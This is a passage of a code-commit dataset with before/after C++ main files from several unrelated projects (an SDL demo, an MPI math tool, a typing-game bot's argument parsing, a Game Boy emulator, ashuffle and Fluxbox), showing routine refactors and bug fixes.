application\n\tatexit(SDL_Quit);\n\n\tSDL_ShowCursor(0);\n\n\tif(fullscreen)\n\t{\n\t\tSDL_DisplayMode display;\n\t\tSDL_GetCurrentDisplayMode(0, &display);\n\t\twindow_width = display.w;\n\t\twindow_height = display.h;\n\t}\n\telse\n\t{\n\t\twindow_width = 1024;\n\t\twindow_height = 768;\n\t}\n\t\n\t\/\/ Create a new window with an OpenGL surface\n\t_window = SDL_CreateWindow(\"BlockWorld\"\n\t\t\t\t\t\t\t , SDL_WINDOWPOS_CENTERED\n\t\t\t\t\t\t\t , SDL_WINDOWPOS_CENTERED\n\t\t\t\t\t\t\t , window_width\n\t\t\t\t\t\t\t , window_height\n\t\t\t\t\t\t\t , SDL_WINDOW_OPENGL | SDL_WINDOW_SHOWN);\n\n\tif(fullscreen)\n\t{\n\t\tSDL_SetWindowFullscreen(_window, SDL_WINDOW_FULLSCREEN);\n\t}\n\t\n\tif(!_window)\n\t{\n\t\tstd::cout << \"Failed to create SDL window: \" << SDL_GetError() << std::endl;\n\t\treturn nullptr;\n\t}\n\n\tSDL_GLContext glContext = SDL_GL_CreateContext(_window);\n\tif (!glContext)\n\t{\n\t\tstd::cout << \"Failed to create OpenGL context: \" << SDL_GetError() << std::endl;\n\t\treturn nullptr;\n\t}\n\n\t\/\/ Initialise GLEW - an easy way to ensure OpenGl 3.0+\n\t\/\/ The *must* be done after we have set the video mode - otherwise we have no\n\t\/\/ OpenGL context to test.\n\tglewInit();\n\tif(!glewIsSupported(\"GL_VERSION_3_0\"))\n\t{\n\t\tstd::cerr << \"OpenGL 3.0 not available\" << std::endl;\n\t\treturn nullptr;\n\t}\n\n\t\/\/ OpenGL settings\n\tglDisable(GL_CULL_FACE);\n\tglEnable(GL_DEPTH_TEST);\n\tglDepthFunc(GL_LESS);\n\n\twindow.reset(_window, SDL_DestroyWindow);\n\treturn window;\n}\n\nApplicationMode ParseOptions (int argc, char ** argv)\n{\n\tnamespace po = boost::program_options;\n\n\tpo::options_description desc(\"Allowed options\");\n\tdesc.add_options()\n\t\t(\"help\", \"print this help message\")\n\t\t(\"fullscreen\", \"Runs the game in fullscreen\")\n\t\t(\"translate\", \"Show translation example (default)\")\n\t\t(\"rotate\", \"Show rotation example\")\n\t\t(\"scale\", \"Show scale example\");\n\n\tpo::variables_map vm;\n\tpo::store(po::parse_command_line(argc, argv, desc), vm);\n\tpo::notify(vm);\n\n\tif(vm.count(\"help\"))\n\t{\n\t\tstd::cout << desc << std::endl;\n\t\texit(0);\n\t}\n\n\tif(vm.count(\"fullscreen\"))\n\t{\n\t\tfullscreen = true;\n\t}\n\n\tif(vm.count(\"rotate\"))\n\t{\n\t\treturn ROTATE;\n\t}\n\n\tif(vm.count(\"scale\"))\n\t{\n\t\treturn SCALE;\n\t}\n\n\t\/\/ The default\n\treturn TRANSFORM;\n}\n\nint main(int argc, char ** argv) {\n\tUint32 delay = 1000\/60; \/\/ in milliseconds\n\n\tauto mode = ParseOptions(argc, argv);\n\tauto window = InitWorld();\n\tauto game_world = std::make_shared<GameWorld>(mode);\n\n\tif(!window)\n\t{\n\t\tSDL_Quit();\n\t}\n\n\tkeyboard_input = SDL_GetKeyboardState(NULL);\n\n\t\/\/ Call the function \"tick\" every delay milliseconds\n\tSDL_AddTimer(delay, tick, NULL);\n\n\t\/\/ Add the main event loop\n\tSDL_Event event;\n\twhile (SDL_WaitEvent(&event))\n\t{\n\t\tswitch (event.type)\n\t\t{\n\t\t\tcase SDL_QUIT:\n\t\t\t\tSDL_Quit();\n\t\t\t\tbreak;\n\t\t\tcase SDL_USEREVENT:\n\t\t\t\tDraw(window, game_world);\n\t\t\t\tHandleInput(game_world);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t  break;\n\t\t}\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * main.cc\n *\/\n#include <unistd.h>\n#include <fstream>\n#include <string>\n\n#include \"qv\/dynkin.h\"\n#include \"qv\/quiver_matrix.h\"\n\n#include \"class_size_slave.h\"\n#include \"fast_mmi_slave.h\"\n#include \"fast_mmi_master.h\"\n#include \"mpi_tags.h\"\n#include \"slow_check_master.h\"\n\nvoid usage() {\n\tstd::cout << \"qvmmi [-sf] [-d diagram | -m matrix | -i input ]\" << std::endl;\n}\n\nbool valid_dynkin(std::string matrix) {\n\treturn cluster::dynkin::MAP.count(matrix) != 0;\n}\n\nQuiverMatrix get_matrix(bool dynkin, std::string matrix) {\n\tif(dynkin) {\n\t\treturn cluster::dynkin::MAP.at(matrix);\n\t}\n\treturn QuiverMatrix(matrix);\n}\nint main(int argc, char* argv[]) {\n\n\tMPI::Init(argc, argv);\n\tint rank = MPI::COMM_WORLD.Get_rank();\n\n\tint opt;\n\tbool slow = false;\n\tbool fast = false;\n\tbool dynkin = false;\n\tstd::string matrix;\n\tstd::string input;\n\twhile ((opt = getopt (argc, argv, \"fsd:m:i:\")) != -1){\n\t\tswitch (opt) {\n\t\t\tcase 'f':\n\t\t\t\tfast = true;\n\t\t\t\tbreak;\n\t\t\tcase 's':\n\t\t\t\tslow = true;\n\t\t\t\tbreak;\n\t\t\tcase 'd':\n\t\t\t\tmatrix = optarg;\n\t\t\t\tdynkin = true;\n\t\t\t\tbreak;\n\t\t\tcase 'm':\n\t\t\t\tmatrix = optarg;\n\t\t\t\tbreak;\n\t\t\tcase 'i':\n\t\t\t\tinput = optarg;\n\t\t\t\tbreak;\n\t\t\tcase '?':\n\t\t\t\treturn 1;\n\t\t\tdefault:\n\t\t\t\treturn 2;\n\t\t}\n\t}\n\n\tif(slow) {\n\t\tif(rank == MASTER) {\n\t\t\tif(input.empty()){\n\t\t\t\tqvmmi::SlowCheckMaster master;\n\t\t\t\tmaster.run();\n\t\t\t} else {\n\t\t\t\tstd::ifstream file;\n\t\t\t\tfile.open(input);\n\t\t\t\tif(!file.is_open()) {\n\t\t\t\t\tstd::cout << \"Error opening file \"<< input << std::endl;\n\t\t\t\t\tMPI::Finalize();\n\t\t\t\t\treturn 1;\n\t\t\t\t}\n\t\t\t\tqvmmi::SlowCheckMaster master(file);\n\t\t\t\tmaster.run();\n\t\t\t\tfile.close();\n\t\t\t}\n\t\t} else {\n\t\t\tqvmmi::ClassSizeSlave slave;\n\t\t\tslave.run();\n\t\t}\n\n\t} else if(fast) {\n\t\tif(rank == MASTER) {\n\t\t\tif(dynkin && !valid_dynkin(matrix)){\n\t\t\t\tstd::cout << \"Invalid matrix\" << std::endl;\n\t\t\t\tMPI::Finalize();\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\tQuiverMatrix mat = get_matrix(dynkin, matrix);\n\t\t\tqvmmi::FastMMIMaster m(mat);\n\t\t\tm.run();\n\t\t} else {\n\t\t\tif(dynkin && !valid_dynkin(matrix)){\n\t\t\t\tMPI::Finalize();\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\tqvmmi::FastMMISlave s;\n\t\t\ts.run();\n\n\t\t}\n\t} else {\n\t\tusage();\n\t\tstd::cout << \"Specify an option\" << std::endl;\n\t}\n\n\tMPI::Finalize();\n\treturn 0;\n}\n\n\t\t\n<commit_msg>Reorders includes for intelmpi.<commit_after>\/*\n * main.cc\n *\/\n#include \"class_size_slave.h\"\n#include \"fast_mmi_slave.h\"\n#include \"slow_check_master.h\"\n#include \"fast_mmi_master.h\"\n\n#include <unistd.h>\n#include <fstream>\n#include <string>\n\n#include \"qv\/dynkin.h\"\n#include \"qv\/quiver_matrix.h\"\n\n#include \"mpi_tags.h\"\n\nvoid usage() {\n\tstd::cout << \"qvmmi [-sf] [-d diagram | -m matrix | -i input ]\" << std::endl;\n}\n\nbool valid_dynkin(std::string matrix) {\n\treturn cluster::dynkin::MAP.count(matrix) != 0;\n}\n\nQuiverMatrix get_matrix(bool dynkin, std::string matrix) {\n\tif(dynkin) {\n\t\treturn cluster::dynkin::MAP.at(matrix);\n\t}\n\treturn QuiverMatrix(matrix);\n}\nint main(int argc, char* argv[]) {\n\n\tMPI::Init(argc, argv);\n\tint rank = MPI::COMM_WORLD.Get_rank();\n\n\tint opt;\n\tbool slow = false;\n\tbool fast = false;\n\tbool dynkin = false;\n\tstd::string matrix;\n\tstd::string input;\n\twhile ((opt = getopt (argc, argv, \"fsd:m:i:\")) != -1){\n\t\tswitch (opt) {\n\t\t\tcase 'f':\n\t\t\t\tfast = true;\n\t\t\t\tbreak;\n\t\t\tcase 's':\n\t\t\t\tslow = true;\n\t\t\t\tbreak;\n\t\t\tcase 'd':\n\t\t\t\tmatrix = optarg;\n\t\t\t\tdynkin = true;\n\t\t\t\tbreak;\n\t\t\tcase 'm':\n\t\t\t\tmatrix = optarg;\n\t\t\t\tbreak;\n\t\t\tcase 'i':\n\t\t\t\tinput = optarg;\n\t\t\t\tbreak;\n\t\t\tcase '?':\n\t\t\t\treturn 1;\n\t\t\tdefault:\n\t\t\t\treturn 2;\n\t\t}\n\t}\n\n\tif(slow) {\n\t\tif(rank == MASTER) {\n\t\t\tif(input.empty()){\n\t\t\t\tqvmmi::SlowCheckMaster master;\n\t\t\t\tmaster.run();\n\t\t\t} else {\n\t\t\t\tstd::ifstream file;\n\t\t\t\tfile.open(input);\n\t\t\t\tif(!file.is_open()) {\n\t\t\t\t\tstd::cout << \"Error opening file \"<< input << std::endl;\n\t\t\t\t\tMPI::Finalize();\n\t\t\t\t\treturn 1;\n\t\t\t\t}\n\t\t\t\tqvmmi::SlowCheckMaster master(file);\n\t\t\t\tmaster.run();\n\t\t\t\tfile.close();\n\t\t\t}\n\t\t} else {\n\t\t\tqvmmi::ClassSizeSlave slave;\n\t\t\tslave.run();\n\t\t}\n\n\t} else if(fast) {\n\t\tif(rank == MASTER) {\n\t\t\tif(dynkin && !valid_dynkin(matrix)){\n\t\t\t\tstd::cout << \"Invalid matrix\" << std::endl;\n\t\t\t\tMPI::Finalize();\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\tQuiverMatrix mat = get_matrix(dynkin, matrix);\n\t\t\tqvmmi::FastMMIMaster m(mat);\n\t\t\tm.run();\n\t\t} else {\n\t\t\tif(dynkin && !valid_dynkin(matrix)){\n\t\t\t\tMPI::Finalize();\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\tqvmmi::FastMMISlave s;\n\t\t\ts.run();\n\n\t\t}\n\t} else {\n\t\tusage();\n\t\tstd::cout << \"Specify an option\" << std::endl;\n\t}\n\n\tMPI::Finalize();\n\treturn 0;\n}\n\n\t\t\n<|endoftext|>"}
{"text":"<commit_before>#include \"NTClient.h\"\n#include \"colors.h\"\n#include \"json.hpp\"\n\n#include <iostream>\n#include <cstdlib>\n#include <fstream>\n#include <string>\nusing namespace std;\n\nvoid initBot(string username, string password, int wpm, double acc) {\n\tNTClient nclient = NTClient(wpm, acc);\n\tnclient.login(username, password);\n\tnclient.connect();\n}\nvoid initlog(string msg) {\n\tcout << CLR_GRN << STYLE_BOLD << \"[INIT] \" << CLR_RESET << CLR_WHT << msg << CLR_RESET;\n}\nvoid errlog(string msg) {\n\tcout << CLR_RED << STYLE_BOLD << \"[ERR!] \" << CLR_RESET << CLR_WHT << msg << CLR_RESET;\n}\nint main(int argc, char** argv) {\n\tbool useCustomConfig = false;\n\tstring customConfig;\n\tfor (int i = 0; i < argc; ++i) {\n\t\tstring arg = string(argv[i]);\n\t\tif (i != 0) {\n\t\t\tif (arg == \"--help\" || arg == \"-h\") {\n\t\t\t\tcout << \"UltraType++ - An open-source command line NitroType bot.\" << endl\n\t\t\t\t<< \"GitHub URL: https:\/\/github.com\/ultratype\/UltraTypePP\" << endl\n\t\t\t\t<< \"Version: 1.0\" << endl\n\t\t\t\t<< \"Arguments:\" << endl\n\t\t\t\t<< \"\t--help or -h: Display this help message.\" << endl\n\t\t\t\t<< \"\t--config <filename> or -c <filename>: Load the config from the specified file.\" << endl;\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t}\t\n\tsrand(static_cast<unsigned int>(time(0)));\n\tifstream configf;\n\tconfigf.exceptions(std::ios::failbit | std::ios::badbit);\n\ttry {\n\t\tconfigf.open(\"config.json\");\n\t} catch(const exception& e) {\n\t\terrlog(\"Failed to open the JSON config. For help, read the UltraType++ repository README.\\n\");\n\t\treturn 1;\n\t}\n\treturn 0;\n}<commit_msg>Add custom config flags<commit_after>#include \"NTClient.h\"\n#include \"colors.h\"\n#include \"json.hpp\"\n\n#include <iostream>\n#include <cstdlib>\n#include <fstream>\n#include <string>\nusing namespace std;\n\nvoid initBot(string username, string password, int wpm, double acc) {\n\tNTClient nclient = NTClient(wpm, acc);\n\tnclient.login(username, password);\n\tnclient.connect();\n}\nvoid initlog(string msg) {\n\tcout << CLR_GRN << STYLE_BOLD << \"[INIT] \" << CLR_RESET << CLR_WHT << msg << CLR_RESET;\n}\nvoid errlog(string msg) {\n\tcout << CLR_RED << STYLE_BOLD << \"[ERR!] \" << CLR_RESET << CLR_WHT << msg << CLR_RESET;\n}\nint main(int argc, char** argv) {\n\tsrand(static_cast<unsigned int>(time(0)));\n\tbool useCustomConfig = false;\n\tstring customConfig;\n\tfor (int i = 0; i < argc; ++i) {\n\t\tstring arg = string(argv[i]);\n\t\tif (i != 0) {\n\t\t\tif (arg == \"--help\" || arg == \"-h\") {\n\t\t\t\tcout << \"UltraType++ - An open-source command line NitroType bot.\" << endl\n\t\t\t\t<< \"GitHub URL: https:\/\/github.com\/ultratype\/UltraTypePP\" << endl\n\t\t\t\t<< \"Version: 1.0\" << endl\n\t\t\t\t<< \"Arguments:\" << endl\n\t\t\t\t<< \"\t--help or -h: Display this help message.\" << endl\n\t\t\t\t<< \"\t--config <filename> or -c <filename>: Load the config from the specified file.\" << endl;\n\t\t\t\treturn 0;\n\t\t\t} else if (arg == \"--config\" || arg == \"-c\") {\n\t\t\t\tcustomConfig = string(argv[i + 1]);\n\t\t\t\tuseCustomConfig = true;\n\t\t\t}\n\t\t}\n\t}\n\tifstream configf;\n\tconfigf.exceptions(std::ios::failbit | std::ios::badbit);\n\tinitlog(\"Attempting to read config file...\\n\");\n\ttry {\n\t\tif (useCustomConfig) {\n\t\t\tconfigf.open(customConfig.c_str());\n\t\t} else {\n\t\t\tconfigf.open(\"config.json\");\n\t\t}\n\t} catch(const exception& e) {\n\t\terrlog(\"Failed to open the JSON config. For help, read the UltraType++ repository README, or use --help.\\n\");\n\t\treturn 1;\n\t}\n\treturn 0;\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>Trying to delete an index that does not exists would attempt to add status code 404 on a NULL object<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <cstdio>\n\n#include \"gameboy.h\"\n#include \"cartridge.h\"\n#include \"video\/screen.h\"\n#include \"util\/log.h\"\n\n#include \"video\/screens\/null_screen.h\"\n#include \"video\/screens\/sfml_screen.h\"\n\nint main(int argc, char* argv[]) {\n    if (argc != 2) {\n        log_error(\"Please provide a ROM file to run\")\n        return 0;\n    }\n\n    log_set_level(LogLevel::Trace);\n\n    std::string rom_name = argv[1];\n    log_info(\"Loading rom from file: %s\", rom_name.c_str());\n\n    Cartridge cartridge(rom_name);\n    SFMLScreen screen;\n    Gameboy gameboy(screen, cartridge);\n\n    gameboy.run();\n}\n<commit_msg>Reorganise main.cc<commit_after>#include \"gameboy.h\"\n#include \"cartridge.h\"\n#include \"video\/screen.h\"\n#include \"util\/log.h\"\n\n#include \"video\/screens\/null_screen.h\"\n#include \"video\/screens\/sfml_screen.h\"\n\nint main(int argc, char* argv[]) {\n    log_set_level(LogLevel::Trace);\n\n    if (argc != 2) {\n        log_error(\"Please provide a ROM file to run\")\n        return 1;\n    }\n\n    std::string rom_name = argv[1];\n    Cartridge cartridge(rom_name);\n\n    SFMLScreen screen;\n\n    Gameboy gameboy(screen, cartridge);\n    gameboy.run();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stdlib.h>\n#include <time.h>\n#include <cassert>\n#include <functional>\n#include <iostream>\n#include <string>\n#include <variant>\n#include <vector>\n\n#include <mpd\/connection.h>\n\n#include \"args.h\"\n#include \"ashuffle.h\"\n#include \"getpass.h\"\n#include \"load.h\"\n#include \"mpd_client.h\"\n#include \"shuffle.h\"\n\nusing namespace ashuffle;\n\nnamespace {\n\nstd::unique_ptr<Loader> BuildLoader(mpd::MPD* mpd, const Options& opts) {\n    if (opts.file_in != nullptr && opts.check_uris) {\n        return std::make_unique<FileMPDLoader>(mpd, opts.ruleset, opts.group_by,\n                                               opts.file_in);\n    } else if (opts.file_in != nullptr) {\n        return std::make_unique<FileLoader>(opts.file_in);\n    }\n\n    return std::make_unique<MPDLoader>(mpd, opts.ruleset, opts.group_by);\n}\n\n}  \/\/ namespace\n\nint main(int argc, const char* argv[]) {\n    std::variant<Options, ParseError> parse =\n        Options::ParseFromC(*mpd::client::Parser(), argv, argc);\n    if (ParseError* err = std::get_if<ParseError>(&parse); err != nullptr) {\n        switch (err->type) {\n            case ParseError::Type::kUnknown:\n                std::cerr << \"unknown option parsing error. Please file a bug \"\n                          << \"at https:\/\/github.com\/joshkunz\/ashuffle\"\n                          << std::endl;\n                break;\n            case ParseError::Type::kHelp:\n                \/\/ We always print the help, so just break here.\n                break;\n            case ParseError::Type::kGeneric:\n                std::cerr << \"error: \" << err->msg << std::endl;\n                break;\n            default:\n                assert(false && \"unreachable\");\n        }\n        std::cerr << DisplayHelp;\n        exit(EXIT_FAILURE);\n    }\n\n    Options options = std::move(std::get<Options>(parse));\n\n    if (!options.check_uris && !options.group_by.empty()) {\n        std::cerr << \"-g\/--group-by not supported with no-check\" << std::endl;\n        exit(EXIT_FAILURE);\n    }\n\n    std::function<std::string()> pass_f = [] {\n        return GetPass(stdin, stdout, \"mpd password: \");\n    };\n    \/* attempt to connect to MPD *\/\n    std::unique_ptr<mpd::MPD> mpd =\n        Connect(*mpd::client::Dialer(), options, pass_f);\n\n    ShuffleChain songs((size_t)options.tweak.window_size);\n\n    {\n        \/\/ We construct the loader in a new scope, since loaders can\n        \/\/ consume a lot of memory.\n        std::unique_ptr<Loader> loader = BuildLoader(mpd.get(), options);\n        loader->Load(&songs);\n    }\n\n    \/\/ For integration testing, we sometimes just want to have ashuffle\n    \/\/ dump the list of songs in its shuffle chain.\n    if (options.test.print_all_songs_and_exit) {\n        bool first = true;\n        for (auto&& group : songs.Items()) {\n            if (!first) {\n                std::cout << \"---\" << std::endl;\n            }\n            first = false;\n            for (auto&& song : group) {\n                std::cout << song << std::endl;\n            }\n        }\n        exit(EXIT_SUCCESS);\n    }\n\n    if (songs.Len() == 0) {\n        std::cerr << \"Song pool is empty.\" << std::endl;\n        exit(EXIT_FAILURE);\n    }\n\n    if (!options.group_by.empty()) {\n        std::cout << absl::StrFormat(\"Picking from %u groups (%u songs).\",\n                                     songs.Len(), songs.LenURIs())\n                  << std::endl;\n    } else {\n        std::cout << \"Picking random songs out of a pool of \" << songs.Len()\n                  << \".\" << std::endl;\n    }\n\n    \/* do the main action *\/\n    if (options.queue_only) {\n        size_t number_of_songs;\n        for (unsigned i = 0; i < options.queue_only; i++) {\n            auto& picked_songs = songs.Pick();\n            number_of_songs += picked_songs.size();\n            mpd->Add(picked_songs);\n        }\n\n        \/* print number of songs or groups (and songs) added *\/\n        std::cout << absl::StrFormat(\n            \"Added %u %s%s\", options.queue_only,\n            options.group_by.empty() ? \"song\" : \"group\",\n            options.queue_only > 1 ? \"s\" : \"\");\n        if (!options.group_by.empty()) {\n            std::cout << absl::StrFormat(\" (%u songs)\", number_of_songs);\n        }\n        std::cout << \".\" << std::endl;\n    } else {\n        Loop(mpd.get(), &songs, options);\n    }\n\n    return 0;\n}\n<commit_msg>cleanup: Fix uninitialized use of `number_of_songs`.<commit_after>#include <stdlib.h>\n#include <time.h>\n#include <cassert>\n#include <functional>\n#include <iostream>\n#include <string>\n#include <variant>\n#include <vector>\n\n#include <mpd\/connection.h>\n\n#include \"args.h\"\n#include \"ashuffle.h\"\n#include \"getpass.h\"\n#include \"load.h\"\n#include \"mpd_client.h\"\n#include \"shuffle.h\"\n\nusing namespace ashuffle;\n\nnamespace {\n\nstd::unique_ptr<Loader> BuildLoader(mpd::MPD* mpd, const Options& opts) {\n    if (opts.file_in != nullptr && opts.check_uris) {\n        return std::make_unique<FileMPDLoader>(mpd, opts.ruleset, opts.group_by,\n                                               opts.file_in);\n    } else if (opts.file_in != nullptr) {\n        return std::make_unique<FileLoader>(opts.file_in);\n    }\n\n    return std::make_unique<MPDLoader>(mpd, opts.ruleset, opts.group_by);\n}\n\n}  \/\/ namespace\n\nint main(int argc, const char* argv[]) {\n    std::variant<Options, ParseError> parse =\n        Options::ParseFromC(*mpd::client::Parser(), argv, argc);\n    if (ParseError* err = std::get_if<ParseError>(&parse); err != nullptr) {\n        switch (err->type) {\n            case ParseError::Type::kUnknown:\n                std::cerr << \"unknown option parsing error. Please file a bug \"\n                          << \"at https:\/\/github.com\/joshkunz\/ashuffle\"\n                          << std::endl;\n                break;\n            case ParseError::Type::kHelp:\n                \/\/ We always print the help, so just break here.\n                break;\n            case ParseError::Type::kGeneric:\n                std::cerr << \"error: \" << err->msg << std::endl;\n                break;\n            default:\n                assert(false && \"unreachable\");\n        }\n        std::cerr << DisplayHelp;\n        exit(EXIT_FAILURE);\n    }\n\n    Options options = std::move(std::get<Options>(parse));\n\n    if (!options.check_uris && !options.group_by.empty()) {\n        std::cerr << \"-g\/--group-by not supported with no-check\" << std::endl;\n        exit(EXIT_FAILURE);\n    }\n\n    std::function<std::string()> pass_f = [] {\n        return GetPass(stdin, stdout, \"mpd password: \");\n    };\n    \/* attempt to connect to MPD *\/\n    std::unique_ptr<mpd::MPD> mpd =\n        Connect(*mpd::client::Dialer(), options, pass_f);\n\n    ShuffleChain songs((size_t)options.tweak.window_size);\n\n    {\n        \/\/ We construct the loader in a new scope, since loaders can\n        \/\/ consume a lot of memory.\n        std::unique_ptr<Loader> loader = BuildLoader(mpd.get(), options);\n        loader->Load(&songs);\n    }\n\n    \/\/ For integration testing, we sometimes just want to have ashuffle\n    \/\/ dump the list of songs in its shuffle chain.\n    if (options.test.print_all_songs_and_exit) {\n        bool first = true;\n        for (auto&& group : songs.Items()) {\n            if (!first) {\n                std::cout << \"---\" << std::endl;\n            }\n            first = false;\n            for (auto&& song : group) {\n                std::cout << song << std::endl;\n            }\n        }\n        exit(EXIT_SUCCESS);\n    }\n\n    if (songs.Len() == 0) {\n        std::cerr << \"Song pool is empty.\" << std::endl;\n        exit(EXIT_FAILURE);\n    }\n\n    if (!options.group_by.empty()) {\n        std::cout << absl::StrFormat(\"Picking from %u groups (%u songs).\",\n                                     songs.Len(), songs.LenURIs())\n                  << std::endl;\n    } else {\n        std::cout << \"Picking random songs out of a pool of \" << songs.Len()\n                  << \".\" << std::endl;\n    }\n\n    if (options.queue_only) {\n        size_t number_of_songs = 0;\n        for (unsigned i = 0; i < options.queue_only; i++) {\n            auto& picked_songs = songs.Pick();\n            number_of_songs += picked_songs.size();\n            mpd->Add(picked_songs);\n        }\n\n        \/* print number of songs or groups (and songs) added *\/\n        std::cout << absl::StrFormat(\n            \"Added %u %s%s\", options.queue_only,\n            options.group_by.empty() ? \"song\" : \"group\",\n            options.queue_only > 1 ? \"s\" : \"\");\n        if (!options.group_by.empty()) {\n            std::cout << absl::StrFormat(\" (%u songs)\", number_of_songs);\n        }\n        std::cout << \".\" << std::endl;\n    } else {\n        Loop(mpd.get(), &songs, options);\n    }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ main.cc for Fluxbox Window manager\n\/\/ Copyright (c) 2001 - 2003 Henrik Kinnunen (fluxgen at users.sourceforge.net)\n\/\/               and 2003 Simon Bowden (rathnor at users.sourceforge.net)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\n\/\/ $Id: main.cc,v 1.18 2003\/06\/12 14:37:21 fluxgen Exp $\n\n#include \"fluxbox.hh\"\n#include \"I18n.hh\"\n#include \"version.h\"\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif \/\/ HAVE_CONFIG_H\n\n\/\/use GNU extensions\n#ifndef\t _GNU_SOURCE\n#define\t _GNU_SOURCE\n#endif \/\/ _GNU_SOURCE\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <iostream>\n#include <fstream>\n#include <stdexcept>\n#include <typeinfo>\n\nusing namespace std;\nvoid showInfo(ostream &ostr) {\n    ostr<<\"Fluxbox version: \"<<__fluxbox_version<<endl;\n    ostr<<\"Compiled: \"<<__DATE__<<\" \"<<__TIME__<<endl;\n    ostr<<\"Compiler: \";\n#ifdef  __GNUG__ \n    ostr<<\"GCC\";\n#else\n    ostr<<\"Unknown\";\n#endif\n    ostr<<endl<<\"Compiler version: \"<<__VERSION__<<endl;    \n\n    const char NOT[] = \"-\";\n    ostr<<\"Compiled options (\"<<NOT<<\" => disabled): \"<<endl<<\n#ifndef DEBUG\n        NOT<<\n#endif \/\/ DEBUG                \n        \"DEBUG\"<<endl<<\n#ifndef SLIT\n        NOT<<\n#endif \/\/ SLIT\n        \"SLIT\"<<endl<<\n#ifndef HAVE_XPM\n        NOT<<\n#endif \/\/ HAVE_XPM\n        \"XPM\"<<endl<<\n#ifndef USE_GNOME\n        NOT<<\n#endif \/\/ USE_GNOME \n        \"GNOME\"<<endl<<\n#ifndef KDE\n        NOT<<\n#endif \/\/ KDE\n        \"KDE\"<<endl<<\n#ifndef USE_NEWWMSPEC\n        NOT<<\n#endif \/\/ USE_NEWWMSPEC\n        \"EWMH\"<<endl<<\n#ifndef REMEMBER\n        NOT<<\n#endif \/\/ REMEMBER\n        \"REMEMBER\"<<endl<<\n#ifndef SHAPE\n        NOT<<\n#endif \/\/ SHAPE\n        \"SHAPE\"<<endl<<\n#ifndef USE_XFT\n        NOT<<\n#endif \/\/ USE_XFT\n        \"XFT\"<<endl<<\n#ifndef USE_XMB\n        NOT<<\n#endif \/\/ USE_XMB\n        \"XMB\"<<endl<<\n#ifndef XINERAMA\n        NOT<<\n#endif \/\/ XINERAMA\n        \"XINERAMA\"<<endl<<\n#ifndef HAVE_XRENDER\n        NOT<<\n#endif \/\/ HAVE_XRENDER\n        \"RENDER\"<<endl<<\n        endl;\n}\n\nint main(int argc, char **argv) {\n\t\n    std::string session_display;\n    std::string rc_file;\n    std::string log_filename;\n\n    NLSInit(\"fluxbox.cat\");\n    I18n &i18n = *I18n::instance();\n\t\n    int i;\n    for (i = 1; i < argc; ++i) {\n        if (! strcmp(argv[i], \"-rc\")) {\n            \/\/ look for alternative rc file to use\n\n            if ((++i) >= argc) {\n                fprintf(stderr,\n                        i18n.getMessage(FBNLS::mainSet, FBNLS::mainRCRequiresArg,\n                                         \"error: '-rc' requires and argument\\n\"));\t\n                exit(1);\n            }\n\n            rc_file = argv[i];\n        } else if (! strcmp(argv[i], \"-display\")) {\n            \/\/ check for -display option... to run on a display other than the one\n            \/\/ set by the environment variable DISPLAY\n\n            if ((++i) >= argc) {\n                fprintf(stderr,\n                        i18n.getMessage(FBNLS::mainSet, FBNLS::mainDISPLAYRequiresArg,\n                                         \"error: '-display' requires an argument\\n\"));\n                exit(1);\n            }\n\n            session_display = argv[i];\n            std::string display_env = \"DISPLAY=\" + session_display;\n            if (putenv(const_cast<char *>(display_env.c_str()))) {\n                fprintf(stderr,\n                        i18n.\n                        getMessage(FBNLS::mainSet, FBNLS::mainWarnDisplaySet,\n                                   \"warning: couldn't set environment variable 'DISPLAY'\\n\"));\n                perror(\"putenv()\");\n            }\n        } else if (strcmp(argv[i], \"-version\") == 0 || strcmp(argv[i], \"-v\") == 0) {\n            \/\/ print current version string\n            cerr<<\"Fluxbox \"<<__fluxbox_version<<\" : (c) 2001-2003 Henrik Kinnunen \"<<endl<<endl;\n            exit(0);\n        } else if (strcmp(argv[i], \"-log\") == 0 ) {\n            if (i + 1 >= argc) {\n                cerr<<\"error: '-log' need an argument\"<<endl;\n                exit(1);\n            }\n            log_filename = argv[++i];\n        } else if (strcmp(argv[i], \"-help\") == 0 || strcmp(argv[i], \"-h\") == 0) {\n            \/\/ print program usage and command line options\n            printf(i18n.\n                   getMessage(FBNLS::mainSet, FBNLS::mainUsage,\n                              \"Fluxbox %s : (c) %s Henrik Kinnunen\\n\"\n                              \"Website: http:\/\/www.fluxbox.org\/ \\n\\n\"\n                              \"\t-display <string>\\t\\tuse display connection.\\n\"\n                              \"\t-rc <string>\\t\\t\\tuse alternate resource file.\\n\"\n                              \"\t-version\\t\\t\\tdisplay version and exit.\\n\"\n                              \"\t-info\\t\\t\\t\\tdisplay some useful information.\\n\"\n                              \"\\t-log 